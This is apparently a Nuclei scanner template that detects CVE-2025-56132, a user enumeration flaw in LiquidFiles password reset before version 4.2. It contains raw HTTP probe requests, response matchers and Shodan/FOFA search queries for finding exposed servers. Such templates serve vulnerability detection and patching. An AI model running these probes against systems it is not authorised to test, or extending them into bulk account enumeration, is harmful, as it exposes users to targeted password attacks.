id: CVE-2025-56132

info:
  name: LiquidFiles < 4.2 - User Enumeration via Password Reset
  author: DhiyaneshDk
  severity: high
  description: |
    LiquidFiles filetransfer server before 4.2 contains a user enumeration vulnerability caused by distinguishable responses in password reset functionality, letting unauthenticated attackers enumerate valid user accounts, exploit requires no authentication.
  impact: |
    Attackers can enumerate valid user emails, increasing risk of targeted password attacks and account compromise.
  remediation: |
    Update to version 4.2 or later which introduces user-based lockout mechanisms.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-56132
    - https://docs.liquidfiles.com/release_notes/version_4-2-x.html
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
    cvss-score: 7.3
    cve-id: CVE-2025-56132
    cwe-id: CWE-305
    epss-score: 0.02618
    epss-percentile: 0.85862
  metadata:
    verified: true
    max-request: 2
    vendor: liquidfiles
    product: liquidfiles
    shodan-query: http.title:"LiquidFiles"
    fofa-query: title="LiquidFiles"
  tags: cve,cve2025,liquidfiles,user-enum,vkev

flow: http(1) && http(2)

variables:
  email: "nonexistent-user-enumtest-{{rand_int(10000,99999)}}@test.invalid"

http:
  - raw:
      - |
        POST /password_reset HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        user[email]={{email}}

    matchers:
      - type: dsl
        dsl:
          - "contains(set_cookie, '_filetransfer_session')"
          - "status_code == 302"
        condition: and
        internal: true

  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - "contains_all(body, 'invalid_email','LiquidFiles')"
          - "status_code == 200"
        condition: and
# digest: 4b0a0048304602210093ab8fa7fa5c6b95e8e46d4ddd104e469077e8cfe736038b3cc2d8a9e9cad0c8022100f16c7f0fb6e13fce87ec8f13490d1c4cc260b594f46e1520ce78ee8eed9b922c:922c64590222798bb761d5b6d8e72950